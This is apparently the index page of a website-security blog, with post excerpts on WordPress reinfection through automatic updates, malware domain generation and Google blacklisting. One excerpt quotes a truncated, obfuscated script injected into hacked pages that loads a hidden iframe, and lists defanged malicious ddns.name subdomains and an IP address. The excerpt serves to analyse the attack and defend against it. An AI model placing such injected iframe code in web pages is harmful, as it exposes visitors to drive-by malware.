Malware Piggybacks on Automatic WordPress Updates
Most WordPress bloggers know the “Always keep your WordPress blog up-to-date” mantra. To make upgrades painless, WordPress developers introduced the “Automatic Update” features in version 2.7. A blog admin only needs to visit the “Update WordPress” page (Tools -> Update) and click on the “Update Automatically” button. That’s it! Easy!
Sometimes I see how webmasters misinterpret the importance of upgrades for WordPress security. They expect that if they upgrade a hacked blog, it will immediately become clean and secure. Unfortunately it doesn’t work this way. Upgrades can only clean core WordPress files, leaving backdoors, infected themes, plugins and database records intact. That’s why it is important to clean up your site before the upgrade.
Moreover, a few days ago I came across a new massive infection (more than 1,000 currently known infected blogs) that hijacks the “Automatic Update” feature and makes it the event that triggers blog re-infection.
Continue »»
Lorem Ipsum and Twitter Trends in Malware. Update.
A few weeks ago I published an article about an attack that hosted malware on a fast flux network of infected PCs and used a clever algorithm based on Twitter trends to generate four new hard-to-predict domain names every day.
Shortly after that I was contacted by foks, who shared some interesting information. He conducted his own investigation and found out how hackers injected those scripts into legitimate web pages. He also found a new (buggy) version of the malicious script.
Continue »»
Script Injection (*.ddns.name) and Backdoors
Just a quick review of hacker attack that I came across this week.
The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical scripts looks like this:
var $E=(Date);if($E){$f=['2*%0)%5}%1','%3{%b(%9_%8...skipped...(1))[$s.$Aj]($l[$0][$s.$1k](0,1));}}return this;},$3=$l(),$f='';$pi('l\x65\x6E\x67th');if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('s cript').length > 0){document.wr ite('<i frame src="'+document.getElementById('____Uy').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}
The scripts create invisible iframes that load malicious content from subdomains of ddns.name (ddns.name is a free dynamic DNS service). E.g.
<i frame src="hxxp://npputdzykop .ddns .name/index.php?showtopic=892380" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>
hxxp://bacmdmrnxdf .ddns .name/index.php?showtopic=892380
hxxp://hjuusnhqspt .ddns .name/index.php?showtopic=892380
hxxp://kmkyqilckhi .ddns .name/index.php?showtopic=892380
hxxp://npputdzykop .ddns .name/index.php?showtopic=892380
hxxp://jnobuznhccv .ddns .name/index.php?showtopic=892380
…
Last time I checked, the malicious subdomains pointed to 37.59.74.146.
When Google detects such malware on websites, you will see the following (or similar) messages on Safe Browsing diagnostic pages:
Malicious software is hosted on 7 domain(s), including hyyjkhfgmxk .ddns .name/, google-‐analytics .com/, kmkyqilckhi.ddns.name/.
1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including google‐‐analytics .com/
Selected Tweets (Oct-Nov 2011)
Selected short messages and links you might have missed if you don’t follow me on Twitter.
It has been a while since the last Tweet Week. The main reason is I don’t tweet that often now to post my tweets every week and I don’t want to post old news here either.
So what happened? The answer is I can’t get used to Twitter web interface – it is so inconvenient. I had to use it when I had some strange problems with my Twitter client (twhirl). Thank’s god, I’ve finally made my twhirl work so I hope I will be able to tweet more often.
Anyway, here are some of the latest tweets.
Continue »»
Why Does Google Consider Some Images Malicious?
The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):
<img src="http://example .net/images/logos/rssicon.png" />
So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.
Continue »»
/tmp/wp_inc or Not Your Typical WordPress Attack
This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it’s so atypical.
If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem.
Continue »»
About this blog
Occasional posts from the developer of
Unmask Parasites about things that hackers already know and site owners should know (if they don't want to be victims).
Exploit reviews, security tips, and all that jazz.
